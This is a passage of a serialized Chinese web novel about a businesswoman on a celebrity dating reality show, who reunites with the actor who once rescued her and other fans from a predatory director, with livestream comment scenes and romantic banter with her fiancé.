其实那部剧说是《帝谋》却更偏向古偶,但剧本实在很好逻辑自洽,周鹤瑾演技台词颜值全都属于顶配,完全凭着自身的优越在那个年代杀出一条血路闯进大众视野,让所有人都知道了“秦王”这个角色。 那时候所有人都认为周鹤瑾的秦王是古偶的开端,但谁都没想到自《帝谋》之后再找不到像周鹤瑾这样颜值演技台词全部都顶配的男演员。 说是开端,确实巅峰。 所以即便是十年了,提起古装美男,天选古人,出众仪态男角色,还是会提到周鹤瑾的秦王。 许愿看中的不仅是周鹤瑾的相貌,更是他的实力,以及完全不被粉丝道德绑架做到自我,主打一个随心所欲开心就好的性子,最火爆的时候结婚然后转型,没有粉丝他却更自在,不是不在意粉丝,而是认为她们应该有自己的生活。 低调温柔还带着点社恐,是个很优秀的人。 可以说许愿就喜欢过这么一个男演员。 盛景炎看许愿一直在看周鹤瑾牵住她的手腕摩挲了下,眼睛眯起来。 “你用了大概有十年那个小号不就叫许鹤瑾?阿愿,看来你是真的很喜欢他啊。” 喜欢到自己的小号都叫这个名字。 如果盛景炎没记错,许愿的微信号其实也叫许鹤瑾,最开始很多人加上许愿还当她要改名呢。 现在看来妥妥就是在追星周鹤瑾。 许愿平日里表现的太沉稳了,任谁也看不出许愿还有那段追星时光。 “确实很喜欢。”许愿毫不避讳的回应。 盛景炎眸光深了几分,许愿抬头又看向周鹤瑾和周媛媛。 “周鹤瑾老师,其实我们十年前曾经见过的。” 周鹤瑾愣住。 十年前,那真的是很久远的事了。 许愿笑道:“十年前我代表学校参加一场竞赛,竞赛结束看到超话有人发布了你的行程就在附近拍戏,有粉丝组织一起去剧组探班,接待我们的是剧组的一个演员导演,这件事你应该记得蛮清楚的。” “因为那是你第一次大规模的被黑。” “那次探班根本不是你这边组织的,是剧组的演员导演自己瞒着你组织了这次的行程把我们骗到了剧组所在的山上,五六个女孩子差点被他得逞。” “我记得特别清楚,那个时候我给你发了私信,说我们已经到了剧组去看你,还发了几个女孩子的自拍照,你看到后只回了两个字在哪。” “我想回应的时候就被演员导演摔了手机,后来是你带着助理赶过去救了我们却也揍了演员导演。” “那件事闹得很大,演员导演是总导演的侄子,但你就是不顾他的背景把人打了,然后带着助理亲自开车送我们回家,是本省的就送到家门口,不是本省的给父母打电话送到家人身边,我的情况比较特殊,家人没有管我电话也没接,是你给我定了酒店说自己这两天没有行程会亲自送我回帝城。” “我记得那天我真的特别开心,我是真的见到了你本人,我对你诉说着喜欢,你有些沉默寡言但一直听我说话,直到回到酒店狠狠揉了一把我的头说我是笨蛋,太好骗了。” “你说我还在念书就要好好念书,还说我这么笨肯定考试不及格,然后看到我的满分试卷就一直在沉默,最后对我说那你一定是很优秀很努力的小女孩,这世界上很多地方都存在黑暗,但希望能有光照在我身上,我那时候觉得我看着你好像真的感觉有光照到我身上。” “第二天是你亲自开车送我回了帝城,亲眼看到我回家后才离开。” “后来我才知道你因为打了演员导演被剧组制片故意找借口说你违约逼你离开剧组,你不是没了行程安排,而是因为粉丝险些被欺辱的事情跟剧组撕破脸。” “那些人很会运作,那个想要侵犯我们的演员导演成了被你欺负的可怜打工人,而你就是耍大牌的流量男星。” “当时太多人在骂你了,甚至还因为你带我去酒店陪我那一天被拍了照片辱骂你跟未成年恋爱,你却没有暴露我的任何信息独自承受了网络暴力。” “可能对你来说是很小很小的事,但对我来说是能记一辈子的事。” 所以后来许愿建立盛华后没少给周鹤瑾偷偷塞资源,为了不被人看出来送个资源都是定好剧本安排好不会被周鹤瑾起疑才行。 周鹤瑾这个人哪里都好就是不会为人处世,更不会向资本低头,所以他在圈内虽然风评好,却也是那些导演找不到合适的人,或者自己最想邀请的男演员没有档期不肯接戏后才会想到周鹤瑾。 这也导致周鹤瑾拿到的剧本资源参差不齐才会一直没拿奖。 许愿开始偷偷送资源后周鹤瑾才拿下了接连拿下视帝影帝。 第832章 十年后的再相见 周鹤瑾真的太低调了,不喜欢参加综艺也不爱营销,拍完戏领完奖继续低调,所以才会让人觉得存在感很低,导致让有些人觉得周鹤瑾没有粉丝。 周鹤瑾果然怔住了。 片刻后他笑了,除了面对崽崽的时候他一直这样笑的,现在对许愿也露出这样温柔甚至是欣慰的笑。 他先是看了盛景炎一眼:“抱歉,可以摸摸你爱人的头吗。” 盛景炎:“……” 盛景炎其实是有点吃味,不,是非常吃味。 但这人是许愿的偶像,且……这人说许愿是他的爱人,虽然的确是真相但还是有点爽。 盛景炎抬手轻咳一声:“最多三秒。” 许愿:“……” 许愿抬头瞪他,没忍住看他那嘚瑟的样子踩他脚。 盛景炎也没躲,随她高兴。 周鹤瑾确实眼底都带着温和的笑意,他伸出手揉了揉许愿柔软蓬松的发,许愿顿了下,稍一抬头就对上他那双含笑的仿佛溢满了星光的眼眸。 “我一直记得你,如果是你的话,你自己就是最亮眼最闪耀的光,如果当初的我是一束微弱的光照亮你,那现在的你可以照亮很多人,许愿,你特别棒。” 这次他没有喊许总,他喊得许愿。 他当然会记得许愿。 那么优秀听话的小粉丝怎么会不记得,虽然为了她被剧组强制解约,但他并没有真的放在心上,那样的剧组不待也没什么所谓。 他后来没有再提这件事,就是担心会波及许愿,所以这件事很久后被压下去。 很久后圈子内的营销号有些想黑他还会提到他曾经跟未成年去酒店的事,曝光那张照片。 周鹤瑾能有什么黑料? 无非是被人说耍大牌面对镜头没有笑脸,其实并非耍大牌而是周鹤瑾有些轻微社恐,近些年算是好些了,早年不仅年少轻狂还社恐,有时候接受采访的时候人都已经在走神放空自己了,所以会无意识的面无表情,就会被人骂耍大牌故意冷脸。 至于其它黑料? 那还真没有,那个跟了周鹤瑾一年的不也没扒出他其它黑料,倒是爆出周鹤瑾“无聊”到整天照顾孩子连最喜欢的篮球都很少打了。 摄影师都因为眼前这一幕怔住。 因为画面真的很美好。 他年长她十岁,曾经成为过照亮她的光,而被他照亮的人经过这么多年也能够变成其他人的光,照亮更多人。 休息室内的灯光本来是有些刺眼的,然而此刻好像灯光都变得柔和,笼罩在他们身上。 他是偶像,她是粉丝。 十年后的再相见,就好像成为永恒。 弹幕彻底淡定不了,完全疯了,早年因为秦王而入坑周鹤瑾的粉丝也全都跑出来。 “这件事我记得!周鹤瑾一直被黑就是因为他带着一个高中生去了酒店,被拍到后一直有人逼问那个未成年是谁,周鹤瑾没有回答过,后来因为这件事险些被封杀,多少次都被骂是法制咖!” “没记错的话许愿知道这件事后澄清过,但还是没有人信故意泼脏水的!就因为这个周鹤瑾被黑了这么多年!” “天杀的不要脸的剧组怎么敢的啊!那个演员导演到底是谁啊!先是想侵犯周鹤瑾的粉丝,被周鹤瑾发现挨揍后就把人逼出剧组,纯种的王八蛋!” “我真是不敢相信如果当时让那人得逞了对许愿那会是终身的噩梦。” “周鹤瑾就是很好啊,接触过他的人才会知道周鹤瑾有多好,他不是高冷不是看不起谁更不是耍大牌,他只是有点社恐所以不想参加综艺,有时候想什么都会摆在脸上,放空自己的时候会双眼无神面无表情所以才会被那群人故意黑的。粉过他甚至去接机过的粉丝都知道我们被周鹤瑾骂过,骂我们的原因是凌晨去接机,最后是周鹤瑾安排人送我们回家,甚至不许我们接八点以后的飞机。” “谁能懂追周鹤瑾有多爽?天冷的时候会安排人给粉丝买热奶茶,去的早了遇到他还会被助理送早餐,热的时候有冰镇酸梅汤,只要看到我们就一定会停下来给我们签名合照,为什么成了周鹤瑾铁粉,就是因为粉过很多人,周鹤瑾是我知道的最真诚最善良且单纯的艺人。” “他和许愿的羁绊真的很好哭啊!” “谁能懂周鹤瑾说这句话时语气有多骄傲啊!‘你自己就是最亮眼最闪耀的光,如果当初的我是一束微弱的光照亮你,那现在的你可以照亮很多人。’,说这句话的时候周鹤瑾眼睛都是闪闪发亮的,而许愿也真的做到了照亮很多人,她建立基金会,向各地捐款,提供工作,为那些家庭困难的人提供抗癌药物……她做的很多事帮助了很多即将破碎的活着已经破碎的家庭。” “盛总呜呜呜对不住我知道你和许总才是官配但是我真的就嗑一口,你是知道的,我们周鹤瑾老师已经结婚有娃了对你造不成任何威胁的,真的很好磕啊,面冷心热社恐影帝+美艳强大敏感粉丝女总裁,真的好绝啊!这组合我将化身尖叫鸡!” “盛总你知道的……我们周鹤瑾老师……我就嗑一口。” “呜呜嗑一口。” “救命,许愿到底为什么跟谁一起都那么好嗑啊!” 导播看着弹幕那群人疯狂嗑许愿和周鹤瑾,唇角狠狠抽了一抽,她庆幸盛景炎现在看不到弹幕和评论区,不然按照盛总那醋劲儿估计要炸。 导播捡了些能说的,看到有人问当初周鹤瑾待过的是哪个剧组演员导演和总导演是谁,网友们想要为她们出气。 许愿听到导播说这个,只是微微扬眉笑的温柔,但说出来的话可不温柔,甚至还有点吓人。 “不用了,我已经报仇了。” 瑾哥,粉丝才这么称呼周鹤瑾的。 许愿面对镜头笑的温柔,可眼里是带着冷意的。 “那个剧组的演员导演、总导演、制片人,所有参与进来的人都已经被封杀了。” “我知道娱乐圈很乱,但如果让我知道的话,我是有能力封杀某些人的,大家都知道吧。” 第833章 姐姐不喜欢我这么叫吗 许愿眉眼弯弯:“我不说虚的,我不仅会封杀,还会让你们身败名裂去吃牢饭,我说到做到,律师团全天候着呢。” 这话像是对着直播间向娱乐圈内的某些人说的,像是警告。 评论区纷纷刷许愿是娱乐圈纪检委,都在嘻嘻哈哈,还有人说许愿不愧是许愿就是雷厉风行。 很快就有周鹤瑾的粉丝扒出了当初周鹤瑾参演的那部剧是什么剧。 《千古名臣》那部剧,剧本其实还是不错的,但因为男二号是制片人的儿子所以后来的剧本被改的面目全非,后来被大价钱请来给制片人儿子抬咖的男演员拍完后闭口不谈这部剧,这部剧播出后就炒作的时候火了几天,后来直接凉了。 而许愿说的已经报仇了,确实能查到剧组的工作人员有的人的结局。 总导演多次侵犯女性并拍摄对方私密照片威胁恐吓,演员助理不仅侵犯未成年还吸食禁品,制片人更是曾在娱乐圈选妃开过各类多人派对,全都被送进去吃牢饭。 这些是怎么被爆出的。 结合许愿说的已经报仇了,简直细思极恐。 一看就是许愿出手了。 许总不愧是许总,真的够狠,但也是那人活该,怪不得许愿。 周鹤瑾和许愿这里相处融洽,宋明远脸上的笑意越来越僵硬了。 他是娱乐圈的前辈,怎么许愿不知道他反而知道周鹤瑾还去粉周鹤瑾了?难道不知道自己演技多好有多火? 周媛媛见周鹤瑾和许愿关系这么好脸上的笑意也深了几分,她看着许愿开口:“看来阿瑾跟许总真的很有缘分,以后要多聚一聚才好呢。” 许愿对她没什么感觉,面上还是温柔的笑,谁也看不出她对周媛媛到底什么感觉。 四组已经全部到齐了,飞机还有半小时起飞马上就要检票了。 评论区有人不嫌事儿大的想看好戏,一直问导播这边能不能问许愿怎么看宋明远和周鹤瑾一起参演过的武侠剧的男角色。 导播本来也想搞点大的,不过今天的热搜够多了,这个话题可以留下下次再问许愿,再炒一波热度。 宋明远这些年也是被人捧习惯了,真把自己当大佬了,当年那部剧出来后他不觉得自己的问题,还觉得周鹤瑾是小白脸,所以一直延误周鹤瑾,剧组的人其实也不怎么看得上宋明远,但宋明远热度高路人缘广啊。 这次来了个许愿,总能压宋明远一头了,省的他真以为自己无可替代,可笑。 登机后许愿有些懒洋洋的靠在座位上,盛景炎在她一旁取出眼罩递给她。 许愿拿了,正打算戴上睡觉,就听盛景炎凑过来在她耳边很轻的开口:“怎么从来没跟我说过你有个喜欢的男艺人?小号名字都跟周鹤瑾有关,你怎么不起许景炎呢?许景炎不行许炎炎也行,你的姓我的名,多好听。” 许愿:“……” 看看,又犯病了吧。 “你少在这里阴阳怪气胡说八道。”许愿推他一把:“你买的那些乱七八糟的东西我还没跟你算账,你知道有多丢人吗?” “你猜我为什么今天故意提起我曾经是周鹤瑾粉丝的事。” 许愿突然提到她追星周鹤瑾不仅是想让某些人知道周鹤瑾背后的人是她,有再见到周鹤瑾的激动,当然也有故意转移话题,让那些人不再继续盯着那些情趣玩具不放。 许愿的心思盛景炎马上就明白了,他不由失笑一声。 “你小看吃瓜网友了。”盛景炎握着她的手把玩,话语中带着点吃味儿。 “你确定只是普通的追星周鹤瑾,不是女友粉老婆粉那种?”盛景炎问起这个的时候还有点严肃,似乎是这件事特别重要似的。 许愿此刻都有点想翻他白眼了。 “他结婚了,你要不要仔细看清楚他妻子就在旁边,孩子都几岁了呢。” “你没有直接说不是老婆粉女友粉。”盛景炎抓重点。 许愿:“……” “你别胡闹。”许愿觉得盛景炎就是想太多闲的。 “我说真的,你真的喜欢周鹤瑾?”盛景炎又问。 “你为什么这么在意这件事?你好离谱啊。”许愿是真的有点不明白。 周鹤瑾大她十岁,孩子都快上小学一年级了,盛景炎竟然吃人夫的醋,他不离谱谁离谱? “怎么可能不在乎,你不知道最近很流行他这种成熟叔系男人?而且周鹤瑾确实很帅……” 盛景炎当然会在意。 周鹤瑾长得好人品好,说差了十岁其实也不算多,他也才三十四五岁的样子,且看着根本不像三十多的男人,穿上运动装说是男大都有人信。 “当初如果你选择的是他……说不定也就没有我什么事了。”盛景炎小声嘟囔。 因为许愿选的是傅京礼才会被辜负,可若是选了周鹤瑾,周鹤瑾这样的男人他肯定会对许愿很好很好。 许愿都要被气笑了,她是真不知道盛景炎脑子里整天都想些什么乱七八糟的,有完没完了? “你再胡闹我不介意自己参加恋综,你回盛世工作去。”许愿甩开他的手,现在真是一点不想哄他。 “生气了?”盛景炎偏头看她,许愿又踩他一脚,直接戴上眼罩,拒绝交流。 盛景炎看她这样,凑到她耳边小声道:“你没发现周鹤瑾和周媛媛的婚姻有点名存实亡搭伙夫妻的感觉吗?” 许愿顿了下把眼罩摘了看他。 “你能不能不咒我瑾哥。” 瑾、哥。 盛景炎笑意都有点危险,重新握住她的手捏了捏:“阿愿你都从没有喊过我哥哥,现在叫他倒是叫的顺口了。” “你少胡闹,你还没叫过我姐姐呢。”许愿瞪他,结果盛景炎没脸没皮凑在她耳边咬耳朵低语:“姐姐~” 他故意压着声音,带着点撒娇的音色唤她。 许愿被他突然袭击的身体都僵住了,盛景炎哼笑一声在她耳边乘胜追击故意戏弄她一般开口:“姐姐怎么不说话了?姐姐不喜欢我这么叫吗?阿愿姐姐。” 许愿:“……” 有时候盛景炎真的是很狗,真的。 第834章 她和盛景炎玩过更花的 “你……你坐在轮椅上的时候可不是这样的。” 许愿有些无语的看她。 她是真觉得盛景炎越来越浪了,大海都没他浪。 盛景炎笑的嘚瑟:“你不是说过喜欢我曾经意气风发的模样吗?” 许愿:“……” 意气风发不是大海啊全是浪。 许愿一言难尽的看他,盛景炎又开口:“阿愿姐姐不喜欢我这么叫吗?真的不喜欢吗?” 许愿:“……” 行,她是喜欢的。 许愿觉得自己跟盛景炎在一起后真的是越来越奇怪,就给她自己一种自己玩的很开的错觉…… 盛景炎看她这表情眼尾微微上挑轻笑一声:“你这不就是很喜欢吗,是吧阿愿姐姐。” 阿愿姐姐眼皮直跳,已经看到摄影师一直在拍他们两人了,因为上了飞机直播已经中断了,不过还是在录制,以后会进行剪辑。 “来来来,你说的再大声点,摄影师都拍着呢。” 许愿还真不信盛景炎脸皮能厚到这种程度。 盛景炎扬眉,突然直接开口,这次不再是很小声了,而是故意的放大声音:“阿愿姐姐要不要喝咖啡,阿愿姐姐需不需要厚毛毯……” 许愿:“……” 他们是头等舱,且头等舱的座位被剧组包下了,现在节目组的摄影师以及参加录制的嘉宾都听到了,纷纷朝两人看去。 就连本打算休息睡觉的周鹤瑾都沉默的看向两人,像是好奇中带着点探究,仿佛在问你们两口子玩的这么花? 怎么说呢,叫姐姐也算玩的花吗,那她和盛景炎好像还玩过更花的。 虽然有点无语,但许愿顿时感觉自己变成了中心焦点人物。 嗯……以前也是中心焦点人物,但现在真的只有丢脸。 许愿沉默,面无表情的看着摄影师:“这里后期请剪掉,谢谢。” 摄影师:“……好的。” 摄影师默默地看向盛景炎,盛景炎满脸的跃跃欲试的眼神看着他,像是在说不用剪。 嗯,有没有可能这条本来就会被保留下来,包括许总说的这句话。 摄影师心道等这段真的被剪辑进正片一定会再度冲上热搜的。 拍够了在飞机上的素材摄影师关闭了机器。 宋明远的座位跟许愿和盛景炎的座位有点距离,他面上还带着虚伪客套的笑容,然后在手机备忘录上打字给林悠羽看。 【许愿对女性很包容,你花点时间去接触下许愿,看能不能跟她讨好关系,这对我们夫妻都大有益处。】 林悠羽面色平静的看着他片刻后垂下眼睫。 宋明远继续在备忘录上打字。 【你要清楚许愿是这圈层所有资本见到她都要低头的存在,就是上面对她都是容忍的态度,只要你能跟许愿交好以后得资源几乎随便你挑,你看看温栩栩再看看周鹤瑾,周鹤瑾近几年的资源有多好你也清楚,中间一定是许愿偷偷给他送了资源,否则周鹤瑾不可能接到那些好资源。】 宋明远对周鹤瑾的事情特别关注。 宋明远因为跟周鹤瑾出演过一个角色被人狂喷这件事一直嫉恨在心,跟他熟识的资本都不会给周鹤瑾递本子,而他也有渠道知道周鹤瑾拿到了什么资源,所以早先周鹤瑾接到的资源都是圈子里其他人看不上的不要的才能漏到周鹤瑾手里。 那时候周鹤瑾空有演技和颜值但是遇不到好资源,曾一度被人调侃就缺一个好剧本了。 宋明远怎么可能给他这个机会? 他根本不想让周鹤瑾爬起来。 可没想到四年前周鹤瑾的资源就开始逐渐变好,且先后拿下视帝影帝,圈内都有人开始扒周鹤瑾以前的剧和电影,看过后都称周鹤瑾就算接到烂本子也能挖掘出那个角色的灵魂,只要有他,不管剧本烂不烂,他那个角色都一定会是出彩的。 甚至有人故意剪辑了周鹤瑾那些角色的视频来推荐,周鹤瑾也越来越火,在圈内地位越来越稳固。 但周鹤瑾还是不营销,还是如此低调。 总有好本子递到他手里,他除了拍戏就是在家休息或者带着孩子到处玩,还有人拍到他带着孩子去游乐园动物园的照片。 宋明远当时都震惊于他根本不知道周鹤瑾的资源是哪里来的,且那些跟周鹤瑾合作的导演也跟他相熟识,宋明远当然想过抢资源,请对方吃饭送礼甚至提到过领片酬出演那些角色。 对方却告诉宋明远没人能换掉周鹤瑾,除非是周鹤瑾自己拒绝出演。 只一句话就等同于告诉宋明远周鹤瑾背后有人,他欺不得。 那些大导的资源根本没有外露过,几乎是有了本子直接指定男演员,这说明什么问题?说明这本子就是为周鹤瑾量身定做的。 宋明远心里发寒,一直想知道到底是谁这么帮周鹤瑾,可调查很久都没查到他背后的人,他那时候还觉得周鹤瑾背后的人藏的可真深啊,现在看看那人竟然是许愿,他能查到才有鬼。 许愿几年前虽然是傅氏傅总的秘书,但那是首席秘书,在傅氏来说许愿的重要性等同于副总,那时候的许愿她就已经是资本了。 更不要说她那时候是傅太太,想捧周鹤瑾还不简单? 再看温栩栩,温栩栩入圈后资源都是最好的,黎云笙喂饼,许愿也一直追着送资源,这才造就了温栩栩成为了圈内顶流。 所以宋明远清楚,想要拿到最好的资源,跟许愿交好是绝对的。 只要跟许愿交好,那几乎是在圈子里可以横着走的程度。 没看到周鹤瑾这几年都没有人黑他?资源也是送到手边追着给,片酬也是绝对高片酬,每一部剧都是质量最好的房车,甚至受邀参加F国时装周的秀,穿的是当季还未售出的最新款高定礼服。 现在想想全部都是许愿给的优待。 宋明远羡慕,想要将这一切抢过来。 但宋明远可不是傻子,且宋明远也清楚自己跟周鹤瑾那点恩怨许愿多半是清楚的,自己如果上赶着反倒让人看了笑话,说不定还会被许愿冷嘲热讽。 第835章 只能当资本的棋子 他也是知道许愿的嘴有多毒的。 宋明远清楚,现在只能利用自己的妻子林悠羽来曲线救场了。 见林悠羽没有表态,宋明远轻微皱眉的又在备忘录上编辑几句,催着她跟许愿交友。 林悠羽良久后点了下头:“我知道了。” 话落林悠羽就闭眼开始休息。 说是休息其实心里乱糟糟的。 最初林悠羽嫁给宋明远的时候还以为自己真的嫁给了爱情,可真的结婚就知道宋明远娶她只因为看中她的相貌和身高。 宋明远个子不高只有168厘米,但是官方身高写的是175厘米,他自己也清楚这些,所以更清楚基因的重要性,想要下一代有好一些的基因那自己的另一半基因就必须好。 那时候的林悠羽是国内的嫩模,172厘米,颜值很高且家世一般。 这样的林悠羽才好拿捏,所以宋明远决定娶林悠羽。 最初林悠羽是兴奋的激动的,可交往后才知道宋明远大男子主义,任何事情都要听他的,但在外面宋明远又很会做人,对朋友大方到随便几十万几百万借出去就好面子的不用对方还钱,所以宋明远在外才有数不清的好友。 那时候的林悠羽能有什么选择呢? 她一个嫩模是靠着宋明远进入大众视野的,那时候看着很红,其实没有作品就如空中楼阁,只要跟他分手势必会被针对被封杀,所以林悠羽没得选,她只能一条路走到死。 他们的婚礼很盛大,还曾被官媒称之为世纪婚礼。 可那件西式婚纱是宋明远选的,酒店是宋明远订的,甚至喜饼伴手礼都是宋明远决定的,全程林悠羽都不能参与进来。 她那一刻就觉得自己好像是一个被宋明远完全摆布的洋娃娃,是他花重金买回家的花瓶。 她不喜欢西式婚纱,她喜欢汉服喜欢凤冠霞帔,她不喜欢那家酒店,她喜欢古风酒店,她对含有花生的点心国民,但宋明远执意喜饼里面要有花生…… 她连自己的婚礼都无法做决定。 甚至于婚前签署了协议,如果林悠羽提出离婚就必须精神出户。 她能拒绝吗? 拒绝不了。 一旦拒绝只有被封杀的可能,只能接受,然后做他的提线木偶。 结婚后就为他生了个女儿,他大概是不喜欢女儿所以第二年又为他生了个孩子,还是女儿,她又怀了第三胎,终于是儿子,她不用在生了。 有了孩子,宋明远就开始营销好丈夫和好爸爸的人设,经常发博称自己在家里面是主厨,她和孩子都喜欢吃他的饭,女儿更是吃他做的辅食长大的。 宋明远营销的越来越多,喜欢他的人也越来越多。 所有人都认为宋明远是个好丈夫好父亲。 但只有林悠羽知道宋明远是在演是在装。 他做的辅食都是摆拍,他做的菜也口味一般经常都是助理或者保姆做好后他拍照发博。 一切都是人设,但不妨碍观众网民看客喜欢这样的人设。 林悠羽因为宋明远已经开始变得有些抑郁,这次的恋综她本不打算参加,她知道自己状态不好,但宋明远逼迫,她也只能点头,因为在宋明远严重她是没有拒绝的权利的。 现在又要让她去跟许愿交好。 她觉得自己好像完全变成了宋明远的工具。 和林悠羽宋明远这里不同,周媛媛一直想抱住周鹤瑾的手臂,但周鹤瑾态度很冷淡,周媛媛颇有些不依不饶不打算放开他。 周鹤瑾目光带着点冷意,似是完全不想理会周媛媛,直接闭眼睡觉。 周媛媛的脸上还是挂着得体的笑容,好似并不在意。 第三组的沈从和杜佳阮在看到摄影师不再录制后也没了之前那营业的态度,各玩各的。 飞机飞的是华国其它城市,到某个旅游胜地海市后已经是晚上了。 许愿睡得有点迷迷糊糊,该下飞机了也不想起,哼哼唧唧的脑袋靠在盛景炎肩膀上,软乎乎的。 “阿愿,该下飞机了。” 盛景炎开口。 许愿此刻还带着眼罩,她皮肤很白也很嫩,盛景炎看到她有些烦闷的撇了撇嘴,脸颊都跟着鼓了鼓,满脑子都是好可爱。 他伸出手戳了戳许愿的脸颊,脸上的笑意都十分明显。 许愿没摘眼罩,在他肩上蹭了下:“别闹。” “阿愿,该下飞机了。” 许愿没反应,过了片刻才轻轻开口:“你背我。” 盛景炎也是早猜到许愿的反应了。 在家里的时候许愿就是这样的,有时候懒得起床都是盛景炎抱着她去洗漱,衣服都是盛景炎挑好的,盛景炎的衣品她是信得过的,绝对不会有什么黑丝搭配。 “好,背我的女王殿下下飞机。” 盛景炎果真背着人。 摄影师这会儿已经重新开了直播,结果就拍到这一幕。 摄影师:“……” 讲道理,现在就连摄影师都在拍盛景炎早上叫许愿起床的时候是在给许愿穿衣服了。 不是,离谱了吧。 摄影师又看看许愿那张脸,又看看盛景炎,算了,这俩绝配。 周鹤瑾跟周媛媛在两人身后看到盛景炎背着许愿提醒了句:“下飞机的时候要小心点,不然很容易跌倒。” “谢谢。” 盛景炎道谢,下飞机的时候确实动作很慢。 重新挤进直播间的众人:“……” 这真的是把狗骗进来杀啊。 许愿迷迷糊糊的眼罩都没摘,盛景炎也没说话,就背着她上了剧组安排的车。 其实一般情况下上这种恋综秀恩爱的节目都会有点紧张或者慌乱,但盛景炎明显不觉得尴尬更不觉得紧张,甚至还觉得有点爽。 看到两人这么亲密林悠羽控制不住的目光落到两人身上,显然是羡慕的。 她的丈夫只当她是改变下一代基因的工具,而盛景炎却将许愿当做挚爱。 其实林悠羽自己清楚,许愿能被盛景炎优待是因为许愿的灵魂强大内核强大,而她空有美貌其实很怯懦,遇到很多事都是不敢反抗的,只能被牵着鼻子走。 她这样的人,也只能当资本的棋子了。 第836章 谁要在这里继续看丑女啊 她运气还算好的,能嫁给宋明远当妻子就已经算是结局很好了,如果运气再差一些就会变成资本的玩物也未可知。 林悠羽眼神微微有些暗淡,宋明远却已经上前一步揽住林悠羽的肩膀,笑容满面的嘘寒问暖,完全好丈夫的模样。 林悠羽只是猜就猜到弹幕评论区会夸宋明远多爱她。 林悠羽只能勉强的扯了扯唇角。 看到盛景炎和许愿的爱情后,她觉得自己就像是个笑话一样。 直播间弹幕评论区果然有些人在夸奖宋明远和林悠羽感情好了,宋明远演这些演的特别真实,任谁都挑不出什么错来。 周鹤瑾和周媛媛两人还是周媛媛在主动,眉眼弯弯的,而周鹤瑾仍然是面无表情的模样。 弹幕一直有人在吐槽。 “周鹤瑾对周媛媛真的很冷淡啊。” “如果周鹤瑾对谁都这副模样就算了,可周鹤瑾对许愿的时候明明笑的很温柔啊,那眼里的笑意都漫出来了,那么骄傲那么开心,怎么对自己老婆就这态度?” “确实,周鹤瑾和周媛媛在家里面的时候周鹤瑾就很冷淡了,上午直播的时候周媛媛一开始没在家,回家后提到有工作了,周鹤瑾对着这样的周媛媛一个笑脸都没有,这是对待自己老婆的态度吗?他对许愿都没有这样。” “说真的,我觉得周鹤瑾对许愿有意思,不然不会这样笑,他绝对是想勾引许总!” “我真是快要被气笑了,什么东西啊就说周鹤瑾勾引许总,你没看到盛总就在旁边吗?周鹤瑾真要有这心思你猜盛总会给他面子吗?周鹤瑾如果真有这意思那就不是许愿喜欢过的男艺人了!” “那你们说周鹤瑾为什么对周媛媛这么冷淡!你们自己说!不是喜欢上其它女人还能是什么原因?记着都跟了周鹤瑾那么久也没见周鹤瑾跟别的女人有接触,也就许愿还有点可能!” “行行行,对对对,我们许总整天在盛世工作还要帮扶黎氏,忙完就要仅研究所工作,好不容易下班了回家陪未婚夫还要抽出时间来跟周鹤瑾幽会,你自己看看这好不好笑啊!” “真的太可笑了,就盛总那盯人黏人的劲儿,我就这么说吧,路边路过只公猫盛景炎都要酸几口!就这许总有那时间跟别的男人接触?” “干别的是一点都不行,造黄谣你们是第一名啊!” “真服了,周鹤瑾和周媛媛这样就不能是夫妻之间有了矛盾吗?你们父母在家没吵过架没冷战过?屁大点事就说人家出轨,有完没完!” “周鹤瑾和许愿之间那是偶像和粉丝的羁绊,少拿你们那些黄谣来侮辱这段感情!” “周鹤瑾看许愿的眼神那是欣慰是骄傲!谁家看爱人是这个眼神!周鹤瑾骄傲的是自己十年前的小粉丝能成功,能自己变成最闪耀的光芒去照亮别人!别拿你们那些低俗的心思来玷污他们之间的羁绊好吗!” 周鹤瑾弹幕直播间吵成一团,究其原因就是因为周鹤瑾对周媛媛一直都很冷淡,而周媛媛却是笑着迎合周鹤瑾都没怎么给她回应,所以让有些人看不下去坐不住开始辱骂周鹤瑾。 一群人拽着这点不放的吵吵嚷嚷。 第三组沈从和杜佳阮在摄影师再度开始直播后又开始营业了。 两人说说笑笑,看着很有默契的样子。 当然,如果这次恋综没有许愿、没有林悠羽,那杜佳阮或许能更有热度一些。 现在因为有许愿和林悠羽,杜佳阮的“丑”就更明显了。 杜佳阮童星出身,十几岁的时候就出演了很多角色,但是她不够漂亮,所以长大后动了脸,可她的自身资源太虐了,她的头有些大,个子矮肩膀却很宽大所以胳膊上总是有肉,所以她穿那些露手臂的礼服会显得整个人又厚又壮,只能穿一字肩的礼服或者穿着礼服也要搭配一件小外套,但即便如此身材还是虐。 她动了脸,所以脸很不自然,一笑脸上的法令纹就会很重,就显得硅胶感很足。 就杜佳阮的相貌就算是放到普通人也只能说是小美女,但放到美女如云的娱乐圈中那就是特别突出的丑。 她不仅丑,还土,但她喜欢打扮喜欢高定又给人一种精致土的感觉,这样更加致命了。 这次参加恋综的林悠羽被称为娱乐圈四大神颜之一,颜值没的说,不然宋明远也不会选林悠羽作为妻子一直生孩子改变下一代基因。 许愿呢?她的美貌更是公认的,且身材比例绝美,整个人说是像漫画里面走出来的也不为过。 而第三组的周媛媛呢?虽然上了年纪整个人却还是温婉美丽的,虽然不及许愿和林悠羽却也自有味道。 杜佳阮跟这三人在一起,整个人完全被碾压。 其实每一组都有特定的摄影师跟拍,杜佳阮也已经尽力离她们远一些了,但看直播的人就是会不受控制的将目光放到远处的一道模糊的倩影。 是许愿赖在盛景炎背上的模糊影子。 两人一起更像是偶像剧或者漫画里面直接抠出来的一样惹人注意。 弹幕除了杜佳阮的粉丝在夸姐姐好美外,路人都是一言难尽的态度。 “到底是谁给了杜佳阮勇气来参加这档恋综的?” “敢跟许愿一起参加节目,杜佳阮是真的对自己的颜值很自信啊……怪不得真的敢接第一美女的古装剧,不是?她真觉得自己美吗?” “许愿会参加这件事应该没几个人知道,之前看宋明远也不像知道的样子,不过林悠羽参加了杜佳阮敢来,那必然是对自己的颜值过分自信了。” “我求求她不要这么自信了……知道什么是碾压吗?” “杜佳阮的粉丝去看看眼睛吧,到底怎么说得出她是大美女的话?” “靠,我只知道许愿是真美,跑了,这就去隔壁直播间了,谁要在这里继续看丑女啊!” 杜佳阮的直播间跑了一群观众,杜佳阮却完全不知道,此刻还笑眯眯的跟沈从开玩笑。 第837章 我叫你哥哥你叫我姐姐? 许愿和盛景炎的直播间就和谐多了,全都在夸夸夸然后是舔屏的,一看就都是来嗑CP的。 许愿和盛景炎的直播间其实是比较和谐友好的直播间,直播间里面多讨论的都是许愿和盛景炎,并没怎么提到其它艺人,除了偶尔会有人刷周鹤瑾外,不会刷其他人,多数是嗑他们两人的。 